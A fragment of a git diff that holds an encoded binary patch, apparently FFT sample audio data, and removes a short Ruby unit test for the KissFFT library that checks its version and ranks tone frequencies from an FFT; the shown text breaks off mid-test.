zqE<zo)BP?_PnkNsOj(aPA2=XXZu}5h9h819{Hrzj^H=6zxw-j(E|!JW`>NXv{;24) zpV|aE`vcdlH2x@Yf;4RtIo9)4Pre~+M$`@+^z48CPw#v5H)6N>M{E^&`FNSrhu#&* zdV0Td{hU7KkM$$}i|aPV3(}3~Kd{1caAR!w$Kv!3SrdE1d-|YDe}Ix_t*ODr@CUn) ze8F<FEB+{?b#JK+U69z`_n4zXt7h&I28oy;%<lFcZAvnOzPv)4wi$s+k?^0Y4a`L^ zEGTE{H+&A^i7iZxvq}e+%bA9#`5Io?!XJM%)~n<rdHz7tp^0Pi1)izu=lmAUPgNIQ zuxJ8%(++$83W@QFFMfbU9TD|PXroHB=MP0a=LVCcuisn19|2j@fT)A>()eS27$3!X zx_4y;&h2rvavUt40MB54<TglHuTa*c3`D&S>ahTcS>uL3sB2`Zjyj)MENq#zs-xv4 zYCmnWkteV7cs2JpRgKK%9^-$q8uY@lgKuV@KZ1LnHLSPA^$~xpiMYU#{eX@Tb=}NQ zLsK3p8A!^0Umv0~XVGO%?{O-~a5I~>iQNRDIjQ`fhdI7faixhPka%G|dOVS~+bzaZ z*~kxY4z6km_|7|SU8}89SgLActT#OV1_xxuADkxKpaDAa75ZldN6V$4=MMhZf^=le z<`QuB(WW`tl-neX^`iF*T=W7pSaIX}T2J(%b;ZGN%{><8sSK}`ykTF?U4(%$a98)I z+FF1P^6^*)>qX*!sYP!O-<~({2XXfkVxEy{d_o6S0vhWU#Z_n2oq7HkpK5d6c>Z8w z{7^e3Z_W*I7~YFpuc8)zzzcjoR~>a+ZJ3r^t5Es_VvsoH&FzVwNMxm9y@EZ5W`P0t zoqrHBzc)uE(6bEY!VtY3(T!2_KXUTEr_Q7b`had^@rRxO>QY&g@rS;1_%uJxr3J6} z!|EC!v8}bsKYoir*!@lAkl6D_L}f2HhYm%Q?b#io))}InamzozVm#BT$NQlz|0s<= z!pHD=dgSD>qJ!>$-1IUx{~KA!fbWvvU<D`-A<LAgiAS{r%Rge2e7~c$iO8A`%A4Si ziklF^Yb3_qt{>mQdx_rTQ@%5#z{Sv;clq|7KVoJna?UL$pvgbvx)JqPI6<}NkNP1+ zM{4fzuVf$Uc>EB>wjuk#7pKE}+S#GyE8~w0{#Y<=1E#qN5YHbuN<PpIxvF{w+zOjt zkl6U6eqi?JQrQDV3NXzod+ppxiCRq`x2mWZe-y?a)m_!AZ#a*}A36MyqS^OH%{_hq z<IR|D!?l1v=109Rc*Sl{Oq&+>{8{(|UbvcjWW8~2UY#?C#0^&AT9a2?JQeGfcAg5) z#N{a#b#)h;6BL`X)R$KX`<rHI`J*6f%6d#*(X*6-xHWjYJb>!(hu+<;x%nw-KIBLI z@e>`XK|k^QQQQZX-{zV@1MmB)pzF7w<bxMTT%dJB^{M>9XPlBZBpw^~*)y@MiIu#^ z5z`6q{83ue`@^uq6IKm_s!c-HH0cdHs^2QM^stBXT+FWOzZc_?f#~~8kKDyV_L9IK zk<UL8y4`B6wXq&iQ>V}IrLqQz9e=!E+*`-_RgYdtXNY?A3a97bkH~mt*WDjE0mdJE zhG!RoX;e0PnLXo#3P=Wj>@C+ILppAcbF{@T<j)`Swxf)7u8Ej^^O(aQ%L85Yoj|PT z^AEoFE%V=U$sFsc|AcOZ^<j6diRGu^2W(ON@r!92&M|%fE37>Ne?(LOCp{*FE$1!i zQ)JCyz2yNGHvUNNg1g`rv_?m2YIgzSP0YdSceq`RxyL!WBLvlm$+|mJ<{mdh9nlTr z_@l6T_a6QzTmFb~g3?RJxmBWx+IuRcbAt39A*)C7eg{>h3~j(-Lt-Yp^z>T($cdUB zJ<lH*RsR*4hTbZUCrQLhy2d~@@J@GFPMIJKsU@&NEq^Su)`pxB{1K5+&breEi9N!W zbW5k5;7Z9ybW3Ob3?*;h&ianoODL#sG(Alfh=`3pB6_?(V9)VM7=RzNe2Pk-o5J{m zRqoBGH0dpx>iGZQW{<D3>CRvf*aiNW6E!Q%w=R`)QArpdakpK)!q2Tl=E?hL6t!+C zK*@h}lUynJ2zNq$a@|ad_-UIQKe<w7?fffay#UR!WwlsstrZ<u_0#@vz<*!CZzDXn zKI^PI{^ZlE18dL=;BfX0E@Idz#MR<V<B#%>oM|pPzuQg@VnI0sOxwIbVs>`;NXN#D z&X59k!a74<@JG$L-MH!%`3Jk&<{r1?YvFTfJ2QW%AJgYCu8$awiAZYb--2!Q-=I2w zr5AQ3RHFjI8O0?)BM>$FgQ`vG{3|+Fe^!;{1%GIEl$B8q=iP~zjzRV46@Mu%F8Dw$ zMtbEN#IRnC?i)!TQr|4Bf*#xlOl!`KKT=R2eBxw*YrE4MTnf$2tMg__4P*^+{BU02 zx&^nK==%cx2ySOx<+ridu%$USQu5g)YV)NM-KQcq?GiP54o+(PWW&B<K%UQi7wk9B zAEmhZVSL0@^nJ&yv`v6aS+Bk44^9Yf&>Yvzy>EU_#Oxn_)_fP{yK(f{i^5{Em*j5N zqibJlP1aQE-be60L=j}popAMhX$<RgEL}h3j{1jH_R^-Z=RX(mxm|Z@y|tIWFMmJ* z-Bh@Rk?}_Xe`LM5GdhFA#vf}qPiQR88=R-7@sWs)KkDb<afC8W%>9bq<;Uh$*32-2 zdCG*vdhkcg+6*{7g*rZ@c&y`mVcpVYqvZdG=K_E1K#}6TgE-yt6!l{8<W-SZ-A1`1 zCnY`5>EZdKfIlh}nfiaU3+C*C@#(<c_`vcH^#X*4n#x&f{E;5;<U5%?DebVry766= zC6=G&@(-T8W=GjWFZxt6JQcoOgT(65!%ybzvaXhPrTfq<Eq|28df{Pq9(g?$+$HF- z8Lam`{J~Sj!TJdYtH!Cw(L^XB_D%kn;}XR9%$!nVJysDn0c1c8qA?s2E9&-+!Ss3f z0*MRw<AsuU{DGgWJKzd;ZjJQ{dtY#F=bM%Iy)@Pf4}s^8;I^Uyg2x3GYo2?;PX6L1 z#A}gWo|2U)+s>be*<s>C{xrpD1gl!)Ea-L{^u}o7*f~6wSH$EM>d~_&-)iFIcG6&< zvOTdLnz#~*XkNh2Jw`V7m>xpcH)i}%Q!gT0zL^<I%-}rD&HqNm<mTpAI9rq63}%_& z)@trCm+J=ml<-ITxIehgRq&^sd#wDljjgruM@%%Dd*q2YB`=SY&X7;+_NL}@C5k_N zoSTx5<UJaTDr&OLW9Zp7rUNU7^;Y=r;*VK(M<yyi=oKri_dTxQyvnjb<sWfp10L!- zm;0C>Vt=Tg>72B+DO?2|{z&NcssE(peRcE_HAviV-pk_rD|O+3#1lC|&5lzo+N#MR zzZqmw%<RlPQL8V3`=D>sn>RWa?B^X*A$kH8SRA02s@tTG0-|T27V8;*5INnHR0u5U zgR6g7t(KE;akrI!;LNUV+9qoGqX3EJg|Y^6aLsq-Zv@lmQnfwD^Ye3$migcar;i~H zR!#MGeyqTVPw+LJgS9o}Sim3L>qgZk@%)k8Zn!I%9pbVk>K`!}RC5!;%wd}4ACYB4 zzDLh>*BBDV_{pno;am*QAG*D1ih?Sov87cFBU7@+>WV)qD)%dtyx{<TPxvgv#ZzY& zYX+UOMg=70XA6JK$n`QD8Sn}uXLpgkaQ6UFmsk8z>xni|`)CUETqsT4ATfD<3=$6- zCEt9mQBanDl<*OMGn$1x*JF?9x2kWLTyND$;E%O3jl+_4o)Yu7XtxOdnB%#nKA##N z18S5(KU4Mse-!-rgj2D1^={)2eh+gd>%+t$v12ovqM7xE&QrNKL3C>EZ}{7kS=$6* zfs(K2t*uo_F#afE(HQ>t+G-eZjcEjsrZ=bmXH0xk_QCL^n;(C}fxVua&)GRVhXd-U zW2|QirGP&&b-U?_I{(+|{-yV&BDraf_5QPx2Z@<-5Q<m@ke!5YkT8K>U-3r?>(xx# zH2jgE$Jig;Vdp2*kMe!Fgnz>UK*OMv3z#~`3u4!L{urK=DHhhj%WvRZWOoa4v--u{ zJWrmxq_l=UYI&S^D)gzms7IDy-@)E+5?#9;RtI7o$UivYR+X)B&bZ~Hmzj5xfL+vp zz_kfKn)D~f2Jhsz{GGmwt(dyykML=DT!Lv)%O9NQ`w@yDb<>)r<YTGEM<xxMKF9V} zKTX@jEzk6&_)$<5Cm?G1qX5%N_FV4ygV?Dh)Xykg<By6wW7FM$Z6A>}=^bugk~0yp z=MO44@JFa#COKH}M+p0HpR@T*1*-$%+Y^0FG^OKe<wO5b$w&0)p`h>s>^yp&p*A5D zkrM=e6u6HCvv~c^@|arw5nHyFG66C_{Y_Pa?xH&)qgykD{tACZZ$(?cd3p*UTYuKW z8FH+roXhivSMs_Y%xYTvE_^AvE}bU!9fO>p2TruBM`~ZID+nZ>x=E3ytATUN=Z+x0 z@A)fm-6Epqq?}SQmsRG#W4xfb=Z}z`fxn0%D&UWA$VuQIX?Zdb{^^fU@~pMh1xw4z zc~;zDlGzg_YSqteZbi4k@+?{;j?r^tIzx(gqP89>bRe@t$;ZmT+qxyHypuT1!Z`t# z?kj5G73;+c!yh>)P~)DgU^vY^Qkz1r4Z-6zTKN@ok1Je);4T4Mg8Srl#~j8I)?;T~ zH0<NlN6k4iuY^^H&1&l6_T){;#~`tkeAMuVRZ(?&(^MI_Q>&)2OM1Mi$hZ6vsn!JF zMrYwbPQ{=m=KW!RR5e=F1TqsGw<Y|c{9{73Z-$~KW~)SG;5Z#|T5Eb?W7lzOS<Zre z7&%OnLZ{np)Z2<b8c*ea_%zct)Y9JiT)@nCYJXp;stu<$2Gh7BicY4;_#-0k35c3^ z6A)Pq<E2&s(apikw;1Q4FrPzya=uLgvQ+k`3#<C*New|_7d6k+?#qu+@`LVGG}dum z^|r1v#PNr{c^3tS9}qbw$oFD!j?bI`;}5=>v0nZ>qmmG`9%Vw-v;v96Z(|r_dtBfL z{X*UG2eRosd0vY5S^NBB%p6|;>qS&;_+8{p!5#jKkl5w#(ggqH$>XV1*GT+d(YqCu zy}YUE`X2B4k(;1hEzKz?RUG{L9>E)(6BJAQkTdrPH+w(0y3P7KeEDC9aLSJ=W9mA_ zA3!PNA+v8%?=z=5r6_r~zasA@RCgQoOEvxPu5S!a{_lT6;^cOQCtvE6$q&#h1xUPd z{Q(#LpdzpAk?+^?M^4lkPk97#C3x?N%}kW=hvrsv^P}e7Hk}=n|F5`jdT8E8X+5bW z)srdwQJIHcsDh4j6QN^Jp{UDigiRm0M-L9>G&)Q}&&g8>8|*X0j(?9IhIVej1u}y| zULp5irgTf^zJdYjzyLMVnoH1Y)~n!;L2uLzaf37i^8NW!l=7gvp@u#n|JW1t8f4)- z|BFBC`GebVh??C&pBKN0-xAz1$?7TuVm+HjQFWC4+4OkZv`upD2eeU3g$6BuxTqJM z?J>XNkNPn@jH%zwI}`Y0Le3=4`<7LfP6i+NHtbvD4{1EO8rLoM{86Ih@l>QPSsT{z zzgcg(rRigDqIR=CD0z7*oLHyiy&o_FiA$kK+sh~2N2c!QR*C_ufzyjpIOWgmI{1U% ziIx|Cyg5^m>1b|Vp4$QaCd^pg>^c*)d`1S6v3F+OU(Vo%o)i^yew5)paighrh_N0~ z<D>?>-yv-}1`UZz-0dyXHpQjK!c^$0>1y!40VfS4{;J7&rL$l?MXh^kz+vmcOrP@S zAzY!mx<92$vzeRUqLq^~Q%&X)1osL4RYDz`9t$~~WKFSkftFNR*5qdF5Z5&$tis`$ zG;7#uVm@gT=tYCrhJ9IY2#T-<%0KLV!7&|O+^gS9+Fm4ncYoA<bDp;Rk;BwmvL^9| z^W3JW{3ZFv5>^@FZ*oHKdHz(gi5n$9JhIj}|FP@1MaggRRD#Rgqpcwoi)$sXosE(o z!ykoHp*Hsz;bPdig^x<(58`Lf@gDgr{>bh!qW;<QM@|N^C+5v*W_h&c=J)VQ%1{2h zg+G{!B5NY%zt|7;_f=<oWOwmf`YnH`!rUUUP0>V`KF4-$r9{a;*gZ&vt2S{03OWm2 zM^_2=$I2dU+Mn#v_#<MiSZTZ<z3*{;S`r_cmwga`6u)xv0<sd&1rD!${xN1oDC=cp zP3$d~;oeEfvqP>rIbwP&J~bqc9Hx0C&&|4xC*LA*WlFwiD}V)PV>g(ndS#u8{LQTO z{Ir0%i1w~hMh_M*I`4pA)6<w5$bhcn&&fWP_-?^@eGEah@Dbj@zp8P9gv6C~@D}Dq zC)B%{d~i`Wt^-ccf4)m9e2S&y8~y-^$3kLXZDs$n)){k;ThAYMx|QqUoYgmuKN2`E z19NLMo90#`cJfys8{SH1f%asrkLhzx%rOj7TJ@b7v>v<q-J<1>fE!Fw@q$i|DfALg z{_W~$gr`!!HTTF`KCF)pZ9sKl4L)9VyF<yd4q$0%bMrM(+jNp4Zq=I*^ORn<AKAs< zk~7ud+KLQB{1Kw@IA`V~mBt@6SvhqxV?9;{{?Knp@TEX|MeX>*ZorzqrQ{>|#Ft4! z@duyN+~eQ{e<<ofcS>JqY}KNes!a~-Y3?zFDOO!MSVK5ZbMxQg)Az|rMxH+=sHNBE zy=6^ABnONArMZ=fv7Xk3)uB5rb8jnhn%JTd5)ZY8P7}NQgU*l{NX#?SskL6d`1cqj z4qN_+#Qj7)>T+w2@duy&H!Dp>KSaq(N6_8g(Os3An-_n`bsO~(lt*=&z#j|dFs3}I zQm&il4>ZQfxV2$D<Bx%PD&-4LB?SATEB+|ZX*1WO=kgD`IlH76<I5)J<(w4eFTlOz z5aN&gAp{55ABQQZ_Ay=lpP0&=N@s!_6P!4(1<nJ5;g1Y$y2NSBEo+MXX|5lpM|+~J z*5yoc1D4h>Zj`)kKf~Q#bdpBNi>sM?q!SGXx5No@{J~m)4&S0#0?!|y={>3s=WGdo zq~ssOj+$SSHR&EVcXP1NZV7*^L1-#u-HJ+f<oToG29r6M1`=DxZHY@JMX&>jd6H7P z#tQ|}Y~{U3If$!GU54DF7dR(K{+0Ua!L-+$+XmTVYSATb2i4K87$6b@*xciYr#w8d z+Hgb-=dDrm2@xkC#t>g6l$y8yLKpJQfUK!d2NwQU1k=+isk4kHS$h5`QSx<z#4c)6 z@>KSmr{be7f7iPS0@p2VpJT1b!135sBQySB_p{dd)8aH@wF20d^|}vW+fnypDxu5c zkTsQqrMY>%Z(dzl!($D9gvvn30=LJ{z(ZC?uAAi_$=$AtpWLvX^RM7w-gS#6F1+K) zi6okz&-t~Ir?ar8vKOds>G=b^LHB`u)PdL|>^RnfX9ovZzE*ku2ySQKz(>qIPFdIK zNy_45vX8Iu07mDny7SoYHT)40_xPy0k~7!A+f+00_EP0$PBq$Xulb`@_S&cq=FBc_ z+NN}VfMHtvu$Ky@Dixts`IM>E)MbyR4_R?gDSz4@*LupJKz7Rx?JdZfxc!~oAYb#7 zn>~to(TS;wB(~dm`o<se1H16RU6-&PE3K-HIX4w=iOC%jd#zjkp2KFrTb@dAKeisd zxJ7K%@!!Ma4Bb~4+C-`mGb5xu7hcV+uwp#rk8cLX9|3;PqN}-iy>I>-T+I?(n~{O+ zQ2Dwq6ijojo2n<wt>khV#nt9F@jR&=XSb}O)5PsOqu%$JiGv$Y#VUI<Dtqz2OUI7p z-3y6hoFG;~^$*8KcQg1Se2zVT#LPYBM9n;-#kRr0ay`7SU=Vln{H|LGjrl&i&W~_4 zt7ujKSapB82Bs%4#Cqx?RpPV{@5o|wdYUz~>gf97sWklY7jj|e2e@Zq)0#Qm(wxV3 zW;L=2;lqj3ME=2dqyiGcAN%7gD*QNX?1JWf^E)s@uG<bRubsmW{K4JQM|P~3-uNR{ zx58;c)KSYH5gfcykDlAtLI*?Qyy?;N-O{Wi*f&PWvr|3mmF64h29wBD3N34@Za3Z6 z<ZHQ|r<$sN2(Ar@@NcNK&rn0rdBGVJe`xLzZ0Qm6U2vZnf7C=BdN(?@)0{sH>G4+7 zpo90?3+tBViCiNwe!vSqSvS<<PN=d6hZ=wM)msY^lh1qpU@a_bT6B3g0sJBCN}ocj zpu4$8;Tmr7aZCoX1@EZx-mGxlvb(}Cu_6!HbcVt-Wle4V0s7rk4%0ls7B+3;k+@Np zD0#b!P&{M&!CKRw{Ga9?SFnH8WDsb1G6;}(NKT&{OW?_}s+yaB1!9a(Q*h1w7cux3 zuwLL?H!%p6gc04+sZ9{_OkLkG{6TH?61C0#1XM@Ew~#obPbIr_OWU+&b(?G2M%@bJ zAL5UaoOet&Qe|w*KDkfek4g7aDxve^mh~JTxA3(3R(@n>%!xTXu=+fOoXpjb#j+-z zlJQ4&H|mk!UgjP(YhX&A(<3BSS1I{Ngs1ZPTXT;wN?w&cPT3WI1n9oh)qy;J#GLQ# zk@^n5Ik?x(Oe||6$1(m;*Kq>2eaX)U^db*o@Q`y_d;ZuTU=>)8-_y>`SJcQtIj&AM z+WWdv>Ke%fiLDEvqT@WgeoKtiBj?ARkhtZK!jO23W{I`uZ0-?+cv_SB?6fz*fZ#Uh zZ@{&`(d~9P@taV_CC<eH?*iRM)>Koqas0ubrIMftbau7JpvascZlO|-_mx)?KWq(& zi_6>!dTxLpz_)WMRIJB2TjHryI=8GgPsB9#!tFWpayXUNIXq|XaUk~{ysdhh?#3$U z!eZQPtAMQFk6AbDydvuKIaK~42a7+QJ`c_VaWz>JC&&0BAsfn@s9j!xCr@4h2lM1z z-?7a-?iv-^@=QrRl8IOAJ8u5I>~7PA{hxFAqlC9&yrA@X$=u@<|7yq21kMv0%R6>A z&#&zJ1mvwd@>bT`xo&&Dv-KShb(S4VX>F{M;C!i4YptlQI-1j`!ntWXL-?er(2`Tu zcSx-JS;)X|%n2%3?Z|pIvb#ZVb_M~AKUguaI45fQZBY@c&b+fl&!ZXG9V66GN}d<= z19nbA{;}!iM4hVEWc<M{qg!D}m4zKbC*VP>hZDq;r$Rt9E^0J!X`Tveco((x$U>OL z+&uf$RT511#k^C5xqVd<q*>sPNd9yWO$^`iS)b3RuwKOOUEch|94so1r@bNFXE(${ z)h59u$l#Bv*GHe^uwL1^3G9)>-jF!5swZ)i4F$~pu=ks38|M>SX9!WWRaBz3H@BBB z-Hs<_1EpEaRgY9_BI-|!KT?!$_*6gD&toE-fNPrPc60Mv9HKS+fhLBj1J579ebyh~ zG_uw&ly|M%>}qZ$g3T&C`BX@(9rFM9$J}ixd7g=Lg2Z|#sN5-epBa?eAt3Rn%im}Y zRAgDxrpx*A{E_2ejgMozl^Oe(dN~Szd8mD6GCt{jkCk;`@x9@X3id(Ci>uXLVEmyc z`lhK6i1pOn&jh;OG8Q+Uil4S={eUJ<;d4`)H)D@D7G=-XkLx2H`aWALq!Rk8?pK~a z*0!SRbo<sSO&Kw#%9)HmYIgh2R(-ec{4Q%mt!mP<H$IUyaeh?)pgNRZvzdR>jyle3 zyca&@xLTOTw9Uk!h^wX9x!s`TbKmn9%XK5_IW-LNN98l)syFI>!EIMll!V*6Kca}f zfIntrO>1Ii-@qU#`N!6J2EZWGRRz4q_wN4<O<cODseceR*^qoGo<*yP3-770UtRv; zJ40MoL*(z<i!AEJ)!bvL3OdseQ!<~8@keDSFu-;Dj9fz=h5DqI^kB{5j~v`U@vzSI z0|+5?ildLJ>IN=rviu{$C8NhoilE^SW3!>y?1iUN*t8AbuH}!CdZfJ2%=jbn9!+w; zlPBNKt(0=zo`%O?&&od%_#?2n`P%yNTs1oGaJq1bCUBvueYtaFj6d>+@ELD|s98n1 zZk|8X>l3S1>v@5vN;D%l_`)BoA~%?9FW4v6qaK+))8}aX!AVpHmd!n)LOp-*Y{+|R z)|w~ZnVGjnd{zNb@8b_t{pD+cFjmnSq2#y6(EfCcgT;5|N$suP9my-SzA<*mJv|zi zXn699CbV}G6hdO<ANJ<m4D8FDGb?}2rZsDMp?+?Km~rs}Jk#&a=@ozE@W=e9xyJ=A z<_ZT(ca25xM?wdrz6(3PpZJ|4{;1{IscK_$D>eO6xVqwM&mTl@Z*G4JiBa<TO>$L_ z<U4}IWIm0O=LD2m>!*WGfS+4o4d^tP_5KQf)U6+!lQpf0TKth;&CO5IL?4iyPKY_U z%V3ZS{+M>A!Zi4Um@WT^@i^Cp#1^&HY6~g^IQlQ#?eh2h@s)Y<(Ul8c-ST!Pmw_AF zu#^6%AL-EVCT&%=fIlX^uTb)}PSj%!2IRPIWB5aJ^WUE3Ti~?tGe<4|9sUUV6<R*R zlL_uC@{c)Dvt#MN;;B33O_e3kK9u6IN<slIe9aoh4H9d|;s<Ol(>5SBXN_qaJZdQ@ z>pL!$HT{u;#Q1Z@9}$)0;y$~b^w1K<A0Zh?2paE?%0|CqS7>g2dkD!u<ZKO3njozD zmAoMHuaqe!(!?m4xaE(Uj`K>r+b(KpVw5~5f+}jiMPlNy9zFgh?Ie9Wyq5}hVu=$J z8-K*EgZFVuw{*hqjlA0z-0r%(!w#lcn<J>4$#uG^Q(+6|rDTDr<sW0Zr9lVvy215@ z>gV@WkN1uewOgA$JrU(T#F-78FJ<}1fzGOg>L{NR5{o~?dT8SDab-%LsL5s7*Y73w z6V7d@+5{ChK10@&KMqmySuZ31NN`pwwEPT3CWmcJ#xy?3!Fq??{4w`~%yHdVeH2p- zf224;uUKn)QtuY;@q<FiY}!Uqvx=_o7_WVOt>m?exZ4x_<hVg%#~)zd&T3?ZDJVr9 zfW&wzmZ@`6;15N;KRm#<NuRh;W0`eeeF;}orwzK|8|u+DdS1>2y^qXN<i;N*{E>n! zJGm3qjZYk4P-OM))FH9gx+O|}eVD!FZWm0^jGM}y*UlwKTna@DZP*_+OEDsQ3^glt zsU<({58u*vJb^zl_+!!=bwegp<ie_&pcxSKJ^V56fGnKR8bw{Ub1VDfpc^RHbNpdh z&PcOAjVAU8n>W=_Kld0(&ruz1vCkBL31V~8fX_czY5u+hB>w))@3s7+w7jQ=^&<Lz zCh*6oM}E}l(-r*&?e@m1{u3%7RgYc6xA~HZYW7FlH4q!q)5YmoDw2N%fAB=r>(j8F zIYIRkF2+U43mvR8B)xRISq2_Hp+Y@>6z><*64<xBkLc@ht5s69Ngu=KG4)&V#|{RG z(Glus8i5wvad$I;KQj0uApaQj*eT>(vG35}Ow*T`9;l*96JPO1(BIR~Qoc~~>QiAS zxtgx|0R`Ci>$z4>kendnkC+)DRpbMA*Qj+WR&=v|i3e3%{t-WfoG0nX-HEA5^5-wD zA7p+SpM)CpNp#3Q!Q$*Lvs1e0ESmjg{6XB*yZsYY)bI!E<KGt?H<+dg!rw#u<Nzff zwfqsGiJ4+;d;?RfF%|jYNtz|H{DaTKdR1@D-V6`vQx1QmPpM(<i0tE66os4>P=lZ4 zQSW<1R~fcM@JDqQ+_HZx>eBN^Eaj~`X&e$8!s^slw?DCl<#p858FBZVi(!iYKvt;R zo9b(f6ze^#rCAJ1Bb0b#tk<Wzd<#c}{D>#E)MqBBAeS?NYh)nsFTC=@dDlsB-G~|f zC@kmt_RJYKyzl$DmHe?#pUO3V3^IGuPJBUPKY>1K`~YLU0!$mp4|p;67(R|s@`3%{ zg4Igy6S^e!H#_5xl*q=%A!s~<^VF%Zhx791+VjU8jW>Yx63yCJ{!!c~{f`=#4A-p> zf5c28@po8-+1v?OuP{%AHEcW;L*kMiy~!1SM6h0QKR|_sSNsvv6|_E}5<Gtd_rV?6 zcXvy!F@-<YL|hQD_~QdQLfFkmDUX~CBsKmR(fz9@Ma;$@1)ZzvmjcsT{s8m26?XF{ zB<A-xPyR(`2%fyV`Ly*7CcU}mkMf`FH=6)ig2W5UKN3z;1$qtO>hIu>6&c8k9+r{} zWNiFFehPo2xCHC~@g7QkgFfLYwR4XdieN28ps4-aiq>$`DXyk%B9J)fuP@peBrch@ zsr7~|xr(lD%rLU*y@LJu8;w8sUoxNNAvrHRe<W1>XWh7?`<W8<@eNg`MQ7BVb#Zra zf~K6&&{wic{Hy%Ql)Q31IXB>agd(8sqdKFDy5)tJ(>9SIafXuT+j+;R#CvJq+>Res z(7_wo`yPKihX+tn{*@dovZnPRI1k|u^5Nc&=%$^2Fj1j9k5p$G;A&+sh}bYE>YS`8 zb`=o5bIqxs$NR<Hqm(@CsA!zx(Hi1ze}0oWCGYYNtL%N(sL-~nI>!qQ;18mGpO|62 z;y&Qb+IzoRM2_nw)~oPO7UXnfbvRh+XbSkD+v;X#&mbWGkn-rGi8+b%y0N#kzsMCq z@|%FDIbF67`M)T6ZbG=$#OA3;$ro=S@mE6P3xDX_QBfIq{^0MTcBQCG%Y0a`2Y%y2 z_>{wX8@k<e?@G>zOVF9q)0`dsGdCBYg3(Ljj|`Q!>Bwp1+5ZtUx5AHg9&sz|m21uV zkPZEG4qs?u&Jf+w$)!in{ABf)<<1K=-4~l$orA=c)`9cQivOj$3;JU+pV0UN9C!+! zmtgVX^b<Sy7j^|xV#lfR$Ku4@7Vt-cx4|j84?x5j{%EeK<+_o75DR`2d0`W^SLg|I z^Yz73QI2Y!$_(r)E{Y%Rym3n2&pq;~ef}^$PCJ#{LSZQkkidE&>$N?kAa2b%r-$V+ z!wq^(#7zZ+^Je^^yDb9ex>^1a!1S;gQL{JjoBF@SuvE(YRG=9lmsi*tO3ByPp1f7| zmWF+W^EmBu#r+0P#a2Q7mHmD7!}h?etsH9A{dMyrT@s<qJ+2QaKYP}B1?TB~^NM*0 z7Ki@(NaO7~S-+CLWNsz;OLCvl?G{>=6JO0elHsZ|y@}daNBP{9l8^CJQYw2Ov7)wK zaQ3X;>vhVl`+;?^tf@w6@qXoQLjF;Zfw0p3U3b{|+W2Eh2Er<ln|{dod&AzCA49M> zhdua*d^<a>>`4)^=Z}mVu;2wSjg^-E`i=cfUNLcOCgtEeK4$pI@t-<Fq~s%Cw*>j{ z4Jwp;?kj~Qt{Xd!8U}CKweu9f9|0>pg7v<GmlrUI`lOe12Ms$Vx^sR4Td3L)ljR>N z-CK$}!gVWDLB|70?gplb%a%V_A1VaQ5?%UKR3k&r%`ZycyWlxp4WNzZkK(_y)&VyW z`}6I3k#N;hkl67@)#q8G<`?t^>3zZSkH4gAYzKn~?>-~jX3xCEA9SW`$AX-Z@rRT= zKGzk0uov-Ea3mWf{=as=5z{u_PZnZ3)??Zxup6+5R{j;N7s38y;D=BZPUDY~41)bn zPs)TmgH`S=h)y>LtLm@2Vm9E~jQ=w0DQ}&FEUdK6J;vlO>Erf54sNq}#Qfh{n}W6B z+g<Vs?GdJJ==HgJ-{S#4Ah`Rh^(V8Fj6e8xmVr-PN0;#jt3l3-CZ>kL6aH68)ux7R z*N1{is2F*K=QcE+o{)jSNW=`5_p3hp2L51G$@T0zU-1WTn;`1K^G9S#o{n>e#C~oi zM#-;qkDfev?Q4(3dE*4R{6pW4S{m4?I?&bJe5@V|@hv+ur)rZv50Ay^SNg{K?A*`T z83)*7eyUDC!r%+Mpo9uY0)LP<bptSsXHV4z_RzVY8wQSSqLzPU6@vDinckh?vk&`Y zB^BzcsC?2~46v_p%XP;MNW4FQO6E_qJ8bST=`(p{{K0-E1F4x1TEo>pvKwyblXi3S z^Wze?<y$5|Mm<)!<&RaDDSjz$^FT_6K`8kOg<f2+3WtXZ!CQApmH(PH*yr<)Vo==A zQ1YB>&mZ6#6Cmru9v&^=j{+<$?2TKC4xLtH$2I(sl4(p0*>r!YDj;(_qR{wbeSF0k z&3cvc7iA#)>558~qUP`ZXK8p}vNl69%E(2ndcIfkeC|rgvx+u>{`TiaC@6N^)!!H6 zK5`TB6@OH?l=BX~cgLlVO=~)UJ>1;<6f91kbG}cFhY0e)dX?+I5^LUTZe{7B_H&P{ zQsb#OHq)Hd`vsLf*6_j~Hf<AveLT1KBI6JD?J{m6<^)KwIPN#4MW?yvkAkXAa69OY zJKr0BOvymTs2}wQeaPO}kdveb;%)h3ewua?vZmr{?$IG}{IZk7ItFcrc>XBRb7PRW zZ0nJI!@j@Y@Z{XwqiPApADmm|sAv{`elN*T>*qk35BYpT*KuO5Tc4^yW#{d1dc$4E zTRVj}Oc2_>dCYzO5kBvaDO}C|@TZwr?iSs(kl0l{HMfG3T3_yxGIRj_-p#0v))yDU zV;?uMDYF)<TeX!v+jp9U)wa3E64t|=;|7ySF9W;yLCvplR(>-6kmok+tUTU*0uryq z)DJNZR%v+vPva)JQr?{B`&n-#MWCoX!j>p`w}!-GQAZ%L^8;e}0rt7RM`E4Z=xXjU zphs_eNIicLJ6ThBSkYZRA^#9dtcba}?N}9bd=!`k_o_F6!O6DGM~d6I$K~NuqApz4 zr24t>$H?4?ChES`$jA=l7`dpKTPg69*Oy5VSWi*cVBesZ=$#@Bi^6)L`a-YRHU-t@ zr;m(3CU|b@8skn9{1wg3FFGr_ne-GgGS?}{61wj!rYHX>dE*ne8JJ5}*xX7a{@`sz zp?bWvhUzJ`Zt1c0=<zA7wV$?0n{H|A8!P#C@x$;45*vRIx6M6Pyf1j{@-^F;tn~Ai zsC6^UkSddU^SEaLMWi`iF?a<QSLWCz{R!P$Af9#bmc}0?PEe&Pi=HU^kQJ2wd&lif zI`eJCF2<Q1s?X6Wd9j{mE^xQ^2X>pQw%P<p$&{RROG{}f|FF5ojWQp!O=>9c{{aYN B1;_vZ diff --git a/external/ruby-kissfft/tests/test_kissfft.rb b/external/ruby-kissfft/tests/test_kissfft.rb deleted file mode 100755 index 12fe8dd4c0..0000000000 --- a/external/ruby-kissfft/tests/test_kissfft.rb +++ /dev/null @@ -1,47 +0,0 @@ -#!/usr/bin/ruby - -base = File.symlink?(__FILE__) ? File.readlink(__FILE__) : __FILE__ -$:.unshift(File.join(File.dirname(base))) - -require 'test/unit' -require 'kissfft' -require 'pp' - -# -# Simple unit test -# - -class KissFFT::UnitTest < Test::Unit::TestCase - def test_version - assert_equal(String, KissFFT.version.class) - puts "KissFFT version: #{KissFFT.version}" - end - def test_fftr - data = File.read('sample.data').unpack('s*') - - min = 1 - res = KissFFT.fftr(8192, 8000, 1, data) - - tones = {} - res.each do |x| - rank = x.sort{|a,b| a[1].to_i <=> b[1].to_i }.reverse - rank[0..10].each do |t| - f = t[0].round - p = t[1].round - next if f == 0 - next if p < min - tones[ f ] ||= [] - tones[ f ] << t - end - end - - tones.keys.sort.each do |t| - next if 